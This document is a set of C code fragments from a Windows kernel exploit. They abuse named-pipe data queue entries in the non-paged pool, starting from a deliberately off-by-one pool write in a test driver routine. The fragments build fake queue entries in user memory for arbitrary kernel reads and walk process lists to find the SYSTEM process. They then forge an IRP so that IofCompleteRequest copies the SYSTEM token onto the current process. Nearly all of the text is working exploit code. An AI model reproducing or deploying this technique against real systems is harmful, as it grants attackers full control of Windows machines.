struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;
    _IRP* Irp;
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;
    uint32_t QuotaInEntry;
    uint32_t DataSize;
    uint32_t x;
    char Data[];
}

NTSTATUS Al20c(size_t Size)
{
	char* buf = (char*)ExAllocatePoolWithTag(NonPagedPoolNx, Size, 'AAAA');
	DbgPrint("[!] Allocate NonpagedPool 0x%p\n", buf);

	for (int i = 0; i <= Size && buf; i++)
		buf[i] = ' ';
	return STATUS_SUCCESS;
}

//...

#define NP_HEADER_SIZE 0x30
#define THIRD_ENTRY_SIZE (0x1000-NP_HEADER_SIZE)
#define USER_DATA_ENTRY_ADDR ((long long)THIRD_ENTRY_SIZE<<32)

//...
void main() {
    //...
    if (VirtualAlloc((PVOID)USER_DATA_ENTRY_ADDR, 0x5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) != (PVOID)USER_DATA_ENTRY_ADDR) {
        printf("Couldn't allocate base address %p\n", USER_DATA_ENTRY_ADDR);
        return;
    }
    //...
    
    printf("Creating the RIGHT entries\n");
    char victim_data[THIRD_ENTRY_SIZE];
    DATA_QUEUE_ENTRY* dqe = (DATA_QUEUE_ENTRY*)victim_data;
    memset(dqe, 0, sizeof(*dqe));
    dqe->DataSize = THIRD_ENTRY_SIZE + 1;

    for (int i = 0; i < pipe_pool.size(); i++) {
        WriteFile(pipe_pool[i].Write, &dqe->Irp, THIRD_ENTRY_SIZE, &res, 0);
    }
    //...
}

void PrepareDataEntryForRead(DATA_QUEUE_ENTRY* dqe, IRP* irp, uint64_t read_address) {
    memset(dqe, 0, sizeof(DATA_QUEUE_ENTRY));
    dqe->EntryType = 1;
    dqe->DataSize = -1;
    dqe->Irp = irp;
    irp->AssociatedIrp = (PVOID)read_address;
}

void ReadMem(uint64_t addr, size_t len, char* data) {
    static char* buf = (char*)malloc(TOTAL_DATA_SIZE + 1 + 0x5000);
    DATA_QUEUE_ENTRY* dqe = (DATA_QUEUE_ENTRY*)USER_DATA_ENTRY_ADDR;
    DWORD read;

    assert(len < 0x5000);

    PrepareDataEntryForRead(dqe, (IRP*)(USER_DATA_ENTRY_ADDR + 0x1000), addr);
    PeekNamedPipe(g_victim_pipe->Read, buf, TOTAL_DATA_SIZE + 1 + len, &read, 0, 0);
    memcpy(data, buf + TOTAL_DATA_SIZE + 1, len);
}

DWORD WINAPI ThreadedWriter(void* arg) {
    char* buf = (char*)arg;
    DWORD res;

    WriteFile(g_victim_pipe->Write, buf, FIRST_ENTRY_SIZE, &res, NULL);

    Sleep(-1);
    return 0;
}

void main(){
    //...
    printf("Creating an entry with size greater than the available pipe quota\n");
    CreateThread(0, 0, ThreadedWriter, buf, 0, 0); //we could have used overlapped/completion routines
    Sleep(2000);
	//...
    //&((ETHREAD*)0)->ThreadListHead.Flink-&((EHREAD)*0)->IrpList=0x38, remains constant between most recent builds
    //...
}

uint64_t GetProcessById(uint64_t first_process, uint64_t pid) {
    uint64_t current_pid = 0;
    uint64_t current_process = first_process;
    while (1) {
        ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID], 8, (char*)&current_pid);
        if (current_pid == pid)
            return current_process;

        ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID] + 8, 8, (char*)&current_process);
        current_process -= c_offsets[g_setoff][EPROCESS_PID] + 8;

        if (current_process == first_process)
            return 0;
    }
}

void main(){
    //...
    char irp_data[0x1000];
    ReadMem(irp_addr, 0x1000, irp_data);
    IRP* irp = (IRP*)irp_data;

    uint64_t cp_thread_list_head, current_process, current_process_id, system_process;

    //&((ETHREAD*)0)->ThreadListHead.Flink-&((EHREAD)*0)->IrpList=0x38, remains constant between most recent builds
    ReadMem((uint64_t)irp->ThreadListEntry.Flink + 0x38, 8, (char*)&cp_thread_list_head);
    current_process = cp_thread_list_head - c_offsets[g_setoff][EPROCESS_THREADLISTHEAD];
    ReadMem(current_process + c_offsets[g_setoff][EPROCESS_PID], 8, (char*)&current_process_id);
    if (current_process_id != GetCurrentProcessId())
        g_setoff++;

    current_process = cp_thread_list_head - c_offsets[g_setoff][EPROCESS_THREADLISTHEAD];

    system_process = GetProcessById(current_process, 4);
    printf("Found current process: %p system process: %p\n", current_process, system_process);
}

void PrepareWriteIRP(IRP* irp, PVOID thread_list, PVOID source_address, PVOID destination_address) {
    irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
    irp->AssociatedIrp = source_address;
    irp->UserBuffer = destination_address;
    irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
    irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

void main(){
    //...
     uint64_t thread_list[2];
 PrepareWriteIRP(irp, thread_list, (PVOID)(system_process + c_offsets[g_setoff][EPROCESS_TOKEN]), (PVOID)(current_process + c_offsets[g_setoff][EPROCESS_TOKEN]));
    NtFsControlFile(g_victim_pipe->Write, 0, 0, 0, &isb, 0x119FF8, irp, 0x1000, 0, 0);//创建unbuffered存放伪造的Irp
    //...
}

void PrepareDataEntryForWrite(DATA_QUEUE_ENTRY* dqe, IRP* irp, uint32_t size) {
    memset(dqe, 0, sizeof(DATA_QUEUE_ENTRY));
    dqe->Flink = (uint64_t)dqe;
    dqe->EntryType = 0;
    dqe->DataSize = size;
    dqe->Irp = irp;
}

void main(){
    //...
    dqe = (DATA_QUEUE_ENTRY*)USER_DATA_ENTRY_ADDR;
    PrepareDataEntryForWrite(dqe, (IRP*)forged_irp_addr, ARBITRARY_WRITE_SIZE);

    thread_list[0] = thread_list[1] = forged_irp_addr + offsetof(IRP, ThreadListEntry.Flink);

    printf("Triggering a call to IofCompleteRequest with our forged IRP and overwriting our token\n\n");
    ReadFile(g_victim_pipe->Read, buf, ARBITRARY_WRITE_SIZE, &res, 0);
    //...    
}